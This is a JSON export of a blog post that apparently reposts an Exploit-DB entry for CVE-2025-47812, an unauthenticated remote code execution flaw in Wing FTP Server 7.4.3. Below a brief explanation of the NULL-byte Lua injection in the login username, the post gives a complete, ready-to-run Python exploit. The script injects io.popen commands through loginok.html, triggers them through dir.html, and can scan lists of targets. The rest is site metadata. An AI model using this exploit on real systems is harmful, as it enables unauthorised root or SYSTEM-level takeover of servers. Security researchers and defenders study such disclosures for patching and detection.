{"id":7501,"date":"2025-07-02T09:34:31","date_gmt":"2025-07-02T09:34:31","guid":{"rendered":"http:\/\/localhost\/?p=7501"},"modified":"2025-07-02T09:34:31","modified_gmt":"2025-07-02T09:34:31","slug":"wing-ftp-server-743-unauthenticated-remote-code-execution-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=7501","title":{"rendered":"Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution  (RCE)"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution  (RCE)<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52347<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-02T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-07-02T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #666666; font-weight: bold;\">NONE<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">NONE<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2025-47812<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE) CVE: CVE-2025-47812 Date: 2025-06-30 Exploit Author: Sheikh&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE)<br \/>\n<br \/># CVE: CVE-2025-47812<br \/>\n<br \/># Date: 2025-06-30<br \/>\n<br \/># Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https:\/\/github.com\/4m3rr0r)<br \/>\n<br \/># Vendor Homepage: https:\/\/www.wftpserver.com\/<br \/>\n<br \/># Version: Wing FTP Server <= 7.4.3\n<br \/># Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)<\/p>\n<p># Description:<br \/>\n<br \/># Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)<br \/>\n<br \/># flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the &#8216;username&#8217;<br \/>\n<br \/># parameter during login, leading to Lua code injection into session files. These maliciously crafted<br \/>\n<br \/># session files are subsequently executed when authenticated functionalities (e.g., \/dir.html) are accessed,<br \/>\n<br \/># resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).<br \/>\n<br \/># The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)<br \/>\n<br \/># and the session creation logic (which uses the full unsanitized username).<\/p>\n<p># Proof-of-Concept (Python):<br \/>\n<br \/># The provided Python script automates the exploitation process.<br \/>\n<br \/># It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.<br \/>\n<br \/># Upon successful authentication (even anonymous), a UID cookie is returned.<br \/>\n<br \/># A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,<br \/>\n<br \/># leading to RCE.<\/p>\n<p>import requests<br \/>\n<br \/>import re<br \/>\n<br \/>import argparse<\/p>\n<p># ANSI color codes<br \/>\n<br \/>RED = &#8220;\\033[91m&#8221;<br \/>\n<br \/>GREEN = &#8220;\\033[92m&#8221;<br \/>\n<br \/>RESET = &#8220;\\033[0m&#8221;<\/p>\n<p>def print_green(text):<br \/>\n<br \/>    print(f&#8221;{GREEN}{text}{RESET}&#8221;)<\/p>\n<p>def print_red(text):<br \/>\n<br \/>    print(f&#8221;{RED}{text}{RESET}&#8221;)<\/p>\n<p>def run_exploit(target_url, command, username=&#8221;anonymous&#8221;, verbose=False):<br \/>\n<br \/>    login_url = f&#8221;{target_url}\/loginok.html&#8221;<\/p>\n<p>    login_headers = {<br \/>\n<br \/>        &#8220;Host&#8221;: target_url.split(&#8216;\/\/&#8217;)[1].split(&#8216;\/&#8217;)[0],<br \/>\n<br \/>        &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (X11; Linux x86_64; rv:139.0) Gecko\/20100101 Firefox\/139.0&#8221;,<br \/>\n<br \/>        &#8220;Accept&#8221;: &#8220;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8&#8221;,<br \/>\n<br \/>        &#8220;Accept-Language&#8221;: &#8220;en-US,en;q=0.5&#8221;,<br \/>\n<br \/>        &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate, br&#8221;,<br \/>\n<br \/>        &#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded&#8221;,<br \/>\n<br \/>        &#8220;Origin&#8221;: target_url,<br \/>\n<br \/>        &#8220;Connection&#8221;: &#8220;keep-alive&#8221;,<br \/>\n<br \/>        &#8220;Referer&#8221;: f&#8221;{target_url}\/login.html?lang=english&#8221;,<br \/>\n<br \/>        &#8220;Cookie&#8221;: &#8220;client_lang=english&#8221;,<br \/>\n<br \/>        &#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;,<br \/>\n<br \/>        &#8220;Priority&#8221;: &#8220;u=0, i&#8221;<br \/>\n<br \/>    }<\/p>\n<p>    from urllib.parse import quote<br \/>\n<br \/>    encoded_username = quote(username)<\/p>\n<p>    payload = (<br \/>\n<br \/>        f&#8221;username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\\&#8221;{command}\\&#8221;)%0dlocal+r+%3d+h%3aread(\\&#8221;*a\\&#8221;)&#8221;<br \/>\n<br \/>        &#8220;%0dh%3aclose()%0dprint(r)%0d&#8211;&#038;password=&#8221;<br \/>\n<br \/>    )<\/p>\n<p>    if verbose:<br \/>\n<br \/>        print_green(f&#8221;[+] Sending POST request to {login_url} with command: &#8216;{command}&#8217; and username: &#8216;{username}'&#8221;)<\/p>\n<p>    try:<br \/>\n<br \/>        login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)<br \/>\n<br \/>        login_response.raise_for_status()<br \/>\n<br \/>    except requests.exceptions.RequestException as e:<br \/>\n<br \/>        print_red(f&#8221;[-] Error sending POST request to {login_url}: {e}&#8221;)<br \/>\n<br \/>        return False<\/p>\n<p>    set_cookie = login_response.headers.get(&#8220;Set-Cookie&#8221;, &#8220;&#8221;)<br \/>\n<br \/>    match = re.search(r&#8217;UID=([^;]+)&#8217;, set_cookie)<\/p>\n<p>    if not match:<br \/>\n<br \/>        print_red(&#8220;[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.&#8221;)<br \/>\n<br \/>        return False<\/p>\n<p>    uid = match.group(1)<br \/>\n<br \/>    if verbose:<br \/>\n<br \/>        print_green(f&#8221;[+] UID extracted: {uid}&#8221;)<\/p>\n<p>    dir_url = f&#8221;{target_url}\/dir.html&#8221;<br \/>\n<br \/>    dir_headers = {<br \/>\n<br \/>        &#8220;Host&#8221;: login_headers[&#8220;Host&#8221;],<br \/>\n<br \/>        &#8220;User-Agent&#8221;: login_headers[&#8220;User-Agent&#8221;],<br \/>\n<br \/>        &#8220;Accept&#8221;: login_headers[&#8220;Accept&#8221;],<br \/>\n<br \/>        &#8220;Accept-Language&#8221;: login_headers[&#8220;Accept-Language&#8221;],<br \/>\n<br \/>        &#8220;Accept-Encoding&#8221;: login_headers[&#8220;Accept-Encoding&#8221;],<br \/>\n<br \/>        &#8220;Connection&#8221;: &#8220;keep-alive&#8221;,<br \/>\n<br \/>        &#8220;Cookie&#8221;: f&#8221;UID={uid}&#8221;,<br \/>\n<br \/>        &#8220;Upgrade-Insecure-Requests&#8221;: &#8220;1&#8221;,<br \/>\n<br \/>        &#8220;Priority&#8221;: &#8220;u=0, i&#8221;<br \/>\n<br \/>    }<\/p>\n<p>    if verbose:<br \/>\n<br \/>        print_green(f&#8221;[+] Sending GET request to {dir_url} with UID: {uid}&#8221;)<\/p>\n<p>    try:<br \/>\n<br \/>        dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)<br \/>\n<br \/>        dir_response.raise_for_status()<br \/>\n<br \/>    except requests.exceptions.RequestException as e:<br \/>\n<br \/>        print_red(f&#8221;[-] Error sending GET request to {dir_url}: {e}&#8221;)<br \/>\n<br \/>        return False<\/p>\n<p>    body = dir_response.text<br \/>\n<br \/>    clean_output = re.split(r&#8217;<\\?xml', body)[0].strip()\n\n    if verbose:\n<br \/>        print_green(&#8220;\\n&#8212; Command Output &#8212;&#8220;)<br \/>\n<br \/>        print(clean_output)<br \/>\n<br \/>        print_green(&#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;)<br \/>\n<br \/>    else:<br \/>\n<br \/>        if clean_output:<br \/>\n<br \/>            print_green(f&#8221;[+] {target_url} is vulnerable!&#8221;)<br \/>\n<br \/>        else:<br \/>\n<br \/>            print_red(f&#8221;[-] {target_url} is NOT vulnerable.&#8221;)<\/p>\n<p>    return bool(clean_output)<\/p>\n<p>def main():<br \/>\n<br \/>    parser = argparse.ArgumentParser(description=&#8221;Exploit script for command injection via login.html.&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-u&#8221;, &#8220;&#8211;url&#8221;, type=str,<br \/>\n<br \/>                        help=&#8221;Target URL (e.g., http:\/\/192.168.134.130). Required if -f not specified.&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-f&#8221;, &#8220;&#8211;file&#8221;, type=str,<br \/>\n<br \/>                        help=&#8221;File containing list of target URLs (one per line).&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-c&#8221;, &#8220;&#8211;command&#8221;, type=str,<br \/>\n<br \/>                        help=&#8221;Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-v&#8221;, &#8220;&#8211;verbose&#8221;, action=&#8221;store_true&#8221;,<br \/>\n<br \/>                        help=&#8221;Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-o&#8221;, &#8220;&#8211;output&#8221;, type=str,<br \/>\n<br \/>                        help=&#8221;File to save vulnerable URLs.&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8220;-U&#8221;, &#8220;&#8211;username&#8221;, type=str, default=&#8221;anonymous&#8221;,<br \/>\n<br \/>                        help=&#8221;Username to use in the exploit payload. Default: anonymous&#8221;)<\/p>\n<p>    args = parser.parse_args()<\/p>\n<p>    if not args.url and not args.file:<br \/>\n<br \/>        parser.error(&#8220;Either -u\/&#8211;url or -f\/&#8211;file must be specified.&#8221;)<\/p>\n<p>    command_to_use = args.command if args.command else &#8220;whoami&#8221;<br \/>\n<br \/>    verbose_mode = True if args.command else args.verbose<\/p>\n<p>    vulnerable_sites = []<\/p>\n<p>    targets = []<br \/>\n<br \/>    if args.file:<br \/>\n<br \/>        try:<br \/>\n<br \/>            with open(args.file, &#8216;r&#8217;) as f:<br \/>\n<br \/>                targets = [line.strip() for line in f if line.strip()]<br \/>\n<br \/>        except Exception as e:<br \/>\n<br \/>            print_red(f&#8221;[-] Could not read target file &#8216;{args.file}&#8217;: {e}&#8221;)<br \/>\n<br \/>            return<br \/>\n<br \/>    else:<br \/>\n<br \/>        targets = [args.url]<\/p>\n<p>    for target in targets:<br \/>\n<br \/>        print(f&#8221;\\n[*] Testing target: {target}&#8221;)<br \/>\n<br \/>        is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)<br \/>\n<br \/>        if is_vulnerable:<br \/>\n<br \/>            vulnerable_sites.append(target)<\/p>\n<p>    if args.output and vulnerable_sites:<br \/>\n<br \/>        try:<br \/>\n<br \/>            with open(args.output, &#8216;w&#8217;) as out_file:<br \/>\n<br \/>                for site in vulnerable_sites:<br \/>\n<br \/>                    out_file.write(site + &#8220;\\n&#8221;)<br \/>\n<br \/>            print_green(f&#8221;\\n[+] Vulnerable sites saved to: {args.output}&#8221;)<br \/>\n<br \/>        except Exception as e:<br \/>\n<br \/>            print_red(f&#8221;[-] Could not write to output file &#8216;{args.output}&#8217;: {e}&#8221;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\n<br \/>    main()\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52347\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE) Exploit ID EDB-ID:52347 Type exploitdb Published 2025-07-02T00:00:00 Modified 2025-07-02T00:00:00&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-7501","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=7501\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE) Exploit ID EDB-ID:52347 Type exploitdb Published 2025-07-02T00:00:00 Modified 2025-07-02T00:00:00...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=7501\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-02T09:34:31+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7501#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7501\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE)\",\"datePublished\":\"2025-07-02T09:34:31+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7501\"},\"wordCount\":113,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"exploitdb\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=7501#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7501\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7501\",\"name\":\"Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-07-02T09:34:31+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7501#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=7501\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=7501#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=7501","og_locale":"en_US","og_type":"article","og_title":"Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE) Exploit ID EDB-ID:52347 Type exploitdb Published 2025-07-02T00:00:00 Modified 2025-07-02T00:00:00...","og_url":"https:\/\/zero.redgem.net\/?p=7501","og_site_name":"zero redgem","article_published_time":"2025-07-02T09:34:31+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=7501#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=7501"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE)","datePublished":"2025-07-02T09:34:31+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=7501"},"wordCount":113,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","exploitdb","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=7501#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=7501","url":"https:\/\/zero.redgem.net\/?p=7501","name":"Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-07-02T09:34:31+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=7501#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=7501"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=7501#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Wing FTP Server 7.4.3 &#8211; Unauthenticated Remote Code Execution (RCE)"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/7501","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7501"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/7501\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7501"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7501"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7501"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}